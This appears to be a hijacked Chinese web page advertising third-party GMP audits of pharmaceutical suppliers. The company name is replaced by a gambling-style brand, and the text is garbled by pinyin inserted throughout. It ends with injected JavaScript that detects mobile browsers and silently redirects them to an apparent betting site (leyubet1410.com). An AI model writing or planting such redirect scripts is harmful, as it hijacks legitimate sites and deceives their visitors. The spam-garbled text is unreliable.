酷游登路

第三方审计

酷游登路提供国(guo)际第三方(fang)审计(ji)服务!

对(dui)供应(ying)(ying)商(shang)和服(fu)务商(shang)进行(xing)(xing)审计(ji)是(shi)GMP法规(gui)和指南的(de)(de)核(he)心的(de)(de)强(qiang)制性(xing)要求。对(dui)于关键性(xing)的(de)(de)产品和物料(liao)来说,仅有供应(ying)(ying)商(shang)或服(fu)务商(shang)自己提供的(de)(de)文件(jian)证(zheng)明是(shi)不够的(de)(de),还需要进行(xing)(xing)供应(ying)(ying)商(shang)评(ping)审,包括(kuo)必须定期(qi)重复进行(xing)(xing)现场审核(he)。

酷游登路可作(zuo)为(wei)独立的(de)第三方提(ti)供审计服(fu)务。我们每年为(wei)客(ke)户(hu)执(zhi)行逾百(bai)项供应(ying)商审计,拥有完善的(de)标准的(de)流(liu)程、高(gao)质量(liang)的(de)合规报告是我们的(de)优势。

酷游登路提供的(de)第(di)三(san)方(fang)审计对象包括:

  • 国内外CMO工厂
  • 国内外原料药、辅料、药包材工厂(合同制造商、外部实验室和服务商的第三方审计)

累计超过500个审计项目,标准化的流程,保障审计的高质量输出

从(cong)全面(mian)的(de)(de)评估(gu)审(shen)(shen)(shen)计(ji)到日常符合性审(shen)(shen)(shen)计(ji)或跟踪审(shen)(shen)(shen)计(ji),酷游登路提供(gong)的(de)(de)整(zheng)个(ge)审(shen)(shen)(shen)计(ji)过程遵(zun)循符合法规要求的(de)(de)SOP。酷游登路的(de)(de)审(shen)(shen)(shen)计(ji)员具备(bei)广泛的(de)(de)实践(jian)经验,累计(ji)执(zhi)行超(chao)过500次审(shen)(shen)(shen)计(ji),赢得了客户的(de)(de)充分信(xin)任与长久合作(zuo)。

可提交官方的审计报告:包含缺陷识别和CAPA

我们(men)准确、详细(xi)地记录(lu)审(shen)计(ji)缺陷,在此基础上要(yao)求被审(shen)计(ji)方(fang)提供(gong)CAPA(纠(jiu)正(zheng)和预防措(cuo)施)。酷游登路将(jiang)对其进行审(shen)核,审(shen)计(ji)结(jie)束时我们(men)将(jiang)提供(gong)一份(fen)清晰的(de)纠(jiu)正(zheng)和预防清单。酷游登路还可以按(an)需提供(gong)相(xiang)应的(de)后续审(shen)计(ji)跟进工作(zuo),以确保客户的(de)持续符合性。

本地化的专家队伍

酷游登路在中国、德国、瑞士均有办公地(di)点,委派的本地(di)审查员(yuan)能够克服文化及(ji)语言障碍,提高审计效(xiao)率。同时(shi),为客户节省差旅费(fei)用。

您将获得:

  • 由经验丰富的专家对供应商和服务商进行的审计
  • 可递交官方机构的审计报告
  • 跟踪审计以确保纠正和预防措施的实施
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();